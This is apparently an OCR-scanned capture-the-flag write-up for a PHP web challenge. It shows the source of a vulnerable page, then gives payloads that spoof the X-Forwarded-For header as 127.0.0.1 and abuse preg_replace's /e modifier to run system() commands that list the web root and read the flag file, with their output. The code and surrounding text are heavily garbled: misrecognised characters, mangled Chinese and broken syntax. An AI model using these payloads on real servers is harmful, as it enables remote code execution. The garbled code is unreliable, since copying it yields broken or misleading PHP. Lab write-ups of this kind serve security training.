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<body>
<ul class="layui-nav”>
<li class="layui—nav—item layui—this”><a href="?page=index”> = V&G &L .L:(/a>/1i>
</ul>
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<?php

error_reporting(9);

session start
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posix_ setuid(1000);

charset="utf-8">

name="renderer" content="webkit">

http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">

name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<link rel="stylesheet" href="layui/css/layui.css" media="all">
<title>B A LES HLo</title>
<meta charset="utf-8">

<ul class="layui-nav">
<li class="layui-nav-item layui-this"><a href="?page=index">=V & ¥ &4EP Hlr</a></1i>
</ul>
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
<legend>i% %Iz </legend>
</fieldset>
<table class="layui-hide" id="test"></table>
<script type="text/html" id="switchTpl">
<!-- XHP checked HPRERZHER -->
<input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="Jf|2%" lay-filter="checkD
emo" {{ d.id==1 @003 ? ‘'checked' : '' }}>
</script>
<script src="layui/layui.js" charset="utf-8"></script>
<script>
layui.use('table', function() {
var table = layui.table,
form = layui.form;

table.render({

elem: '#test',

url: '/somrthing.json’,

cellMinWidth: 8@,

cols: [

[
{ type: 'numbers®' },

type: ‘'checkbox' },
field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
field: 'name', title: ' 4 ', templet: '#nameTpl' },
field: 'area', title: 'Xi%' },
field: 'status', title: "#EPUIRAE', minWidth: 120, sort: true },
field: 'check', title: 'i&#&JF%', width: 85, templet: '#switchTpl', unresize: true

{
{
{
{
{
{

1
page: true
1)
1
</script>
<script>
layui.use('element', function() {
var element = layui.element; //SfifflhoverZi. —ZSEHETNRE, FHEKifielementiFh
/7 W A




//console.log(elem)
layer.msg(elem.text());
1
1)

</script>

<?php

$page = $_GET[page]l;

if (isset($page)) {

if (ctype_alnum($page)) {
?>

<br /><br /><br /><br />
<div style="text-align:center">

<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />

<br /><br /><br /><br />
<div style="text-align:center">

<p class="lead">
<?php

if (strpos($page, 'input') > @) {
die();

if (strpos($page, 'ta:text') > @) {
die();

if (strpos($page, 'text') > 0) {
die();

if ($page === 'index.php') {
die('0Ok");

include($page);
die();
?>
</p>
<br /><br /><br /><br />
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if ($_SERVER['HTTP_X_FORWARDED FOR'] === '127.0.0.1') {

echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {

preg_replace($pattern, $replacement, $subject);
}else{

die();




R ILFE [ PR EL preg_replace

($_SERVER[ "HTTP_X_FORWARDED_FOR" ] "127.0.0.1") {
echo "<br >Welcome My Admin ! <br >";
$pattern - $ GET[pat];

$replacement = $ GET[rep];
$subject - $ GET[sub];

(isset($pattern) isset($replacement) isset($
subject)) {
preg_replace($pattern, $replacement, $subject);

1

();
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(PHP 4, PHP 5, PHP 7)
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mixed preg replace ( mixed Spattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count 1] )

g subject T IL Al pattern/f]1 i 4>,  Dlreplacementidt 4T B .
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For: 127.0.0.1 ,payload: ?pat=/test/e&rep=system('1s%20/var/www/html')&sub=test

<br >*Welcome My Admin ! <br >css
index. html

index. php

js

layui

logo. png

s3chahahaDir

start. sh

#iE. png

payload: ?pat=/test/e&rep=system('cat%20/var/www/html/s3chahahaDir/flag/flag.php')&sub=test %ﬁﬁlﬂag

<br *Welcome My Admin ! <br ><%php
$flag =  cyberpeace {Tk 90085}
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